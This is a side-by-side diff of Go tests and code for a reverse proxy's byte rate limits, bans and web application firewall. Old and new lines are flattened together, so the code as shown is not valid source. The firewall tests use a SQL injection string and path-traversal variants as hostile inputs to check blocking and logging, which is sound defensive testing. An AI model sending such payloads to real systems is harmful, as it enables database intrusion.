line.ResponseBytes,
answerBytes,
)
} }
if line.LimitHit != tc.window+"_bytes" || if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want %s_bytes, limit and %s", line.LimitHit, line.Offence,
"want %s_bytes, limit and %s", line.BanExpires, tc.window, expires)
line.LimitHit,
line.Offence,
line.BanExpires,
tc.window,
expires,
)
} }
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+ wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1) `instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
@@ -121,10 +101,7 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) { func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel() t.Parallel()
s, _ := startWithAnswers( s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
t,
map[string]string{bytesLimitPerMinute: byteLimit},
)
line, _ := s.download() line, _ := s.download()
wantAfterAnswerHeuristic(t, line, "", "null") wantAfterAnswerHeuristic(t, line, "", "null")
@@ -143,16 +120,9 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
// The answer's 70 bytes are over the limit of 50 on their own. // The answer's 70 bytes are over the limit of 50 on their own.
line, got := s.download() line, got := s.download()
if got.err != nil || len(got.body) != answerBytes || if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
line.LimitHit != minuteBytes { t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
t.Errorf( len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
"got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
len(got.body),
got.err,
line.LimitHit,
answerBytes,
minuteBytes,
)
} }
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -168,27 +138,13 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
// The 70 bytes passed on before the app broke off are over the limit of // The 70 bytes passed on before the app broke off are over the limit of
// 50, and ban the client for an hour. // 50, and ban the client for an hour.
line, got := s.requestWithBody( line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
http.MethodGet, requestlog.ActionForward)
client,
"/",
"",
"",
http.StatusOK,
requestlog.ActionForward,
)
if len(got.body) != answerBytes || line.LimitHit != minuteBytes || if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf( t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
"got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+ "want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
"want %d, %s and %s", answerBytes, minuteBytes, expires)
len(got.body),
line.LimitHit,
line.BanExpires,
answerBytes,
minuteBytes,
expires,
)
} }
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -208,33 +164,19 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
t.Run(tc.setting, func(t *testing.T) { t.Run(tc.setting, func(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _, _ := startAppWithAlerts( s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
t, bytesLimitPerMinute: "29", bytesCount: tc.setting,
answerAfterUpgrade, })
map[string]string{
bytesLimitPerMinute: "29", bytesCount: tc.setting,
},
)
// The client sends 30 bytes and the app 70, each over the limit // The client sends 30 bytes and the app 70, each over the limit
// of 29, which bans the client once the WebSocket has closed. // of 29, which bans the client once the WebSocket has closed.
line := s.webSocket() line := s.webSocket()
if line.LimitHit != minuteBytes || if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
line.Counts.MinuteBytes != tc.counted { t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
t.Errorf( line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
"log line has limit_hit %q and minute_bytes %v, want %s and %v",
line.LimitHit,
line.Counts.MinuteBytes,
minuteBytes,
tc.counted,
)
} }
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
}) })
} }
} }
@@ -269,25 +211,14 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
} }
counted := float64(i) * tc.each counted := float64(i) * tc.each
if line.LimitHit != want || if line.LimitHit != want || line.Counts.MinuteBytes != counted {
line.Counts.MinuteBytes != counted { t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
t.Errorf( "want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
"request %d: log line has limit_hit %q and minute_bytes %v, "+ want, counted)
"want %q and %v",
i,
line.LimitHit,
line.Counts.MinuteBytes,
want,
counted,
)
} }
} }
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
}) })
} }
} }
@@ -312,24 +243,11 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"}, {allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
} { } {
for range 2 { for range 2 {
line, _ := s.requestWithBody( line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
http.MethodPost, uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
sent.from, if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
sent.path, t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
uploadHeader, sent.from, sent.path, line.fields["counts"], line.LimitHit)
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
if _, counted := line.fields["counts"]; counted ||
line.LimitHit != "" {
t.Errorf(
"%s %s: log line has counts %v and limit_hit %q, want neither",
sent.from,
sent.path,
line.fields["counts"],
line.LimitHit,
)
} }
} }
} }
@@ -337,11 +255,7 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
// A path that is not exempt is counted, and breaks the limit. // A path that is not exempt is counted, and breaks the limit.
line := s.upload() line := s.upload()
if line.LimitHit != minuteBytes { if line.LimitHit != minuteBytes {
t.Errorf( t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
"log line has limit_hit %q, want %s",
line.LimitHit,
minuteBytes,
)
} }
} }
@@ -358,14 +272,9 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
counted := float64(i * (bodyBytes + answerBytes)) counted := float64(i * (bodyBytes + answerBytes))
if line.LimitHit != "" || line.Counts.MinuteBytes != counted || if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
line.Counts.HourBytes != counted || line.Counts.DayBytes != counted { line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
t.Errorf( t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
"request %d: log line has limit_hit %q and counts %+v, "+ "want none and %v bytes in each window", i, line.LimitHit,
"want none and %v bytes in each window", line.Counts, counted)
i,
line.LimitHit,
line.Counts,
counted,
)
} }
} }
} }
@@ -373,24 +282,13 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) { func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startAppWithAlerts( s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
t, bytesLimitPerMinute: byteLimit,
readAndAnswer, })
map[string]string{
bytesLimitPerMinute: byteLimit,
},
)
start := clk.Now() start := clk.Now()
s.requestWithBody( s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
http.MethodPost, uploadBody, http.StatusOK, requestlog.ActionForward)
client,
"/upload?part=1",
uploadHeader,
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
netblock := netip.MustParsePrefix(client + "/32") netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{ want := bans.Ban{
@@ -433,14 +331,10 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) { func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startAppWithAlerts( s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
t, mode: observe,
readAndAnswer, bytesLimitPerMinute: byteLimit,
map[string]string{ })
mode: observe,
bytesLimitPerMinute: byteLimit,
},
)
start := clk.Now() start := clk.Now()
// No ban sets the client's counters back to zero, so each request // No ban sets the client's counters back to zero, so each request
@@ -450,17 +344,11 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
line := s.upload() line := s.upload()
wantWouldAction(t, line, "") wantWouldAction(t, line, "")
if line.LimitHit != minuteBytes || if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" { line.BanExpires != "" {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
"want %s, limit and none", minuteBytes)
line.LimitHit,
line.Offence,
line.BanExpires,
minuteBytes,
)
} }
} }
@@ -475,18 +363,14 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
notes, _ := waiting[0].Detail["notes"].(bans.Notes) notes, _ := waiting[0].Detail["notes"].(bans.Notes)
alert := banAlert(alerts.EventBan, start, client, bans.Ban{ alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
client + "/32",
), Cause: bans.CauseLimit,
Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes, Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour))) }, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe alert.Detail["mode"] = observe
wantAlerts(t, queue, alert) wantAlerts(t, queue, alert)
} }
func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses( func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _ := startWithAnswers(t, map[string]string{ s, _ := startWithAnswers(t, map[string]string{
@@ -504,14 +388,9 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(
line := s.upload() line := s.upload()
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited) wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
line.Counts.MinuteBytes != bodyBytes+answerBytes { t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
t.Errorf( line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
"log line has limit_hit %q and minute_bytes %v, want minute and %d",
line.LimitHit,
line.Counts.MinuteBytes,
bodyBytes+answerBytes,
)
} }
} }
@@ -561,9 +440,7 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
return return
} }
_, _ = buffered.WriteString( _, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
strings.Repeat("a", answerBytes-1) + "\n",
)
_ = buffered.Flush() _ = buffered.Flush()
} }
} }
@@ -593,12 +470,8 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
s.t.Helper() s.t.Helper()
conn := dial(s.t, s.addr) conn := dial(s.t, s.addr)
send( send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
s.t, ": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
conn,
"GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n",
)
err := conn.SetReadDeadline(time.Now().Add(waitLimit)) err := conn.SetReadDeadline(time.Now().Add(waitLimit))
if err != nil { if err != nil {
@@ -615,11 +488,7 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
_ = res.Body.Close() _ = res.Body.Close()
if res.StatusCode != http.StatusSwitchingProtocols { if res.StatusCode != http.StatusSwitchingProtocols {
s.t.Fatalf( s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
"status %d, want %d",
res.StatusCode,
http.StatusSwitchingProtocols,
)
} }
return conn, reader return conn, reader
@@ -634,22 +503,14 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine {
line := s.out.endedLines(s.t, s.sent+1)[s.sent] line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++ s.sent++
wantLine( wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
s.t,
line,
http.StatusSwitchingProtocols,
requestlog.ActionForward,
)
return line return line
} }
// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a // startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
// test that looks at neither the server nor the alerts. // test that looks at neither the server nor the alerts.
func startWithAnswers( func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
t *testing.T,
env map[string]string,
) (*sender, *clock) {
t.Helper() t.Helper()
s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env) s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
@@ -663,15 +524,8 @@ func startWithAnswers(
func (s *sender) download() (logLine, answer) { func (s *sender) download() (logLine, answer) {
s.t.Helper() s.t.Helper()
return s.requestWithBody( return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
http.MethodGet, requestlog.ActionForward)
client,
"/",
"",
"",
http.StatusOK,
requestlog.ActionForward,
)
} }
// upload is download for a POST request with a body of bodyBytes, and // upload is download for a POST request with a body of bodyBytes, and
+5 -15
View File
@@ -25,14 +25,9 @@ type coreRuleSet struct{}
func (coreRuleSet) name() string { return "core_rule_set" } func (coreRuleSet) name() string { return "core_rule_set" }
func (coreRuleSet) check( func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
cfg := rq.h.config cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
pathExempt(rq.in, cfg.WAFExemptPaths) {
return nil return nil
} }
@@ -43,9 +38,7 @@ func (coreRuleSet) check(
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body) result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
rq.requestBytes = int64(len(read)) rq.requestBytes = int64(len(read))
rq.line.DurationCoreRuleSetMS = new( rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
requestlog.Milliseconds(time.Since(start)),
)
rq.line.CoreRuleSetRuleIDs = result.RuleIDs rq.line.CoreRuleSetRuleIDs = result.RuleIDs
rq.line.CoreRuleSetScore = &result.Score rq.line.CoreRuleSetScore = &result.Score
@@ -68,11 +61,8 @@ func (coreRuleSet) check(
rq.blockedByCoreRuleSet = true rq.blockedByCoreRuleSet = true
return &verdict{ return &verdict{
action: requestlog.ActionBlockedByCoreRuleSet, action: requestlog.ActionBlockedByCoreRuleSet,
figures: map[string]any{ figures: map[string]any{figureScore: result.Score, "threshold": threshold},
figureScore: result.Score,
"threshold": threshold,
},
} }
} }
+49 -184
View File
@@ -44,12 +44,7 @@ const sqlInjection = "/?id=1'%20OR%20'1'='1"
// core_rule_set_score, and that it has duration_core_rule_set_ms, or with no // core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
// score, that it has none of the three: the Core Rule Set did not inspect the // score, that it has none of the three: the Core Rule Set did not inspect the
// request. // request.
func wantCoreRuleSet( func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t *testing.T,
line logLine,
score *int,
ruleIDs ...int,
) {
t.Helper() t.Helper()
if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) { if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
@@ -60,12 +55,9 @@ func wantCoreRuleSet(
switch { switch {
case score == nil && case score == nil &&
(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil): (line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
t.Errorf( t.Errorf("log line has core_rule_set_score %v and "+
"log line has core_rule_set_score %v and "+ "duration_core_rule_set_ms %v, want neither",
"duration_core_rule_set_ms %v, want neither", line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
line.fields["core_rule_set_score"],
line.fields["duration_core_rule_set_ms"],
)
case score != nil && case score != nil &&
(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score): (line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
t.Errorf("log line has core_rule_set_score %v, want %d", t.Errorf("log line has core_rule_set_score %v, want %d",
@@ -90,21 +82,11 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
t,
"",
map[string]string{wafMode: tc.mode},
)
wantTags( wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
t, "exploitsignature")
s.request(client, sqlInjection, tc.status, tc.action), wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
"exploitsignature",
)
wantTags(
t,
s.get(client, http.StatusOK, requestlog.ActionForward),
)
}) })
} }
} }
@@ -121,9 +103,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`) wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
} }
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode( func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, attack := range []struct { for _, attack := range []struct {
@@ -162,19 +142,10 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden}, {block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK}, {detect, requestlog.ActionForward, http.StatusOK},
} { } {
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
t,
"",
map[string]string{wafMode: tc.mode},
)
line := s.requestWithHeader( line := s.requestWithHeader(client, attack.path, attack.header,
client, tc.status, tc.action)
attack.path,
attack.header,
tc.status,
tc.action,
)
wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...) wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
} }
}) })
@@ -196,12 +167,8 @@ func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request( line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
client, http.StatusOK, requestlog.ActionForward)
"/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
} }
@@ -221,48 +188,26 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS // A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
// exempts, are not inspected. // exempts, are not inspected.
line := s.request( line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
allowed,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
line = s.request( line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
client, requestlog.ActionForward)
"/api/v1/repos?id=1'%20OR%20'1'='1",
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that // The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected. // goes up and out of it is inspected.
line = s.request( line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
client, requestlog.ActionBlockedByCoreRuleSet)
"/api/../?id=1'%20OR%20'1'='1",
http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet,
)
wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100) wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected. // A request a rule file refuses is not inspected.
line = s.request( line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
otherClient, requestlog.ActionBlockedByBlockRule)
"/blocked?id=1'%20OR%20'1'='1",
http.StatusForbidden,
requestlog.ActionBlockedByBlockRule,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
// With SWW_WAF_MODE off, no request is. // With SWW_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off}) s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request( line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
} }
@@ -276,12 +221,7 @@ func TestAnomalyThreshold(t *testing.T) {
wafMode: block, wafAnomalyThreshold: threshold, wafMode: block, wafAnomalyThreshold: threshold,
}) })
line := s.request( line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(5), 942100) wantCoreRuleSet(t, line, new(5), 942100)
} }
@@ -329,20 +269,9 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
} }
// By default, the rules are switched off. // By default, the rules are switched off.
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
t, line, _ := s.requestWithBody(request.method, client, request.path,
"", request.header, body, http.StatusOK, requestlog.ActionForward)
map[string]string{wafMode: block},
)
line, _ := s.requestWithBody(
request.method,
client,
request.path,
request.header,
body,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
// A list given replaces the default. // A list given replaces the default.
@@ -350,24 +279,12 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
wafMode: block, wafDisabledRules: "942100", wafMode: block, wafDisabledRules: "942100",
}) })
score := 5 * len(request.ruleIDs) score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody( line, _ = s.requestWithBody(request.method, client, request.path,
request.method, request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
client,
request.path,
request.header,
body,
http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet,
)
wantCoreRuleSet(t, line, &score, request.ruleIDs...) wantCoreRuleSet(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists. // And switches off the rules it lists.
line = s.request( line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
}) })
} }
@@ -437,13 +354,8 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
got := do(t, req) got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body { if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf( t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
"%s: the app got %d bytes, answered %d, want the %d sent, 200", tc.name, len(got.body), got.status, len(tc.body))
tc.name,
len(got.body),
got.status,
len(tc.body),
)
} }
line := out.endedLines(t, i+1)[i] line := out.endedLines(t, i+1)[i]
@@ -472,19 +384,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh") got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page { if got.status != http.StatusOK || string(got.body) != page {
t.Errorf( t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
"answered %d with %q, want 200 with the app's page",
got.status,
got.body,
)
} }
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward) wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
} }
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst( func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
@@ -502,11 +408,8 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
if line.LimitHit != requestlog.LimitHitMinuteRefusals || if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit { line.Offence != requestlog.OffenceLimit {
t.Errorf( t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
"log line has limit_hit %q and offence %q, want minute_refusals and limit", line.LimitHit, line.Offence)
line.LimitHit,
line.Offence,
)
} }
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -517,30 +420,15 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
metrics, wantMetric(t, metrics,
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
3, wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
) `instance="app",status_class="4xx"}`, 3)
wantMetric(
t,
metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`,
3,
)
wantMetric(
t,
metrics,
`sww_requests_total{action="blocked_by_core_rule_set",`+
`instance="app",status_class="4xx"}`,
3,
)
} }
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst( func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
@@ -548,12 +436,7 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
}) })
for range 3 { for range 3 {
s.request( s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
} }
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
@@ -564,12 +447,8 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
metrics,
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`,
3,
)
wantNoSeries(t, metrics, wantNoSeries(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`) `sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
} }
@@ -577,18 +456,9 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) { func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
t,
"",
map[string]string{wafMode: block, mode: observe},
)
line := s.request( line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet) wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
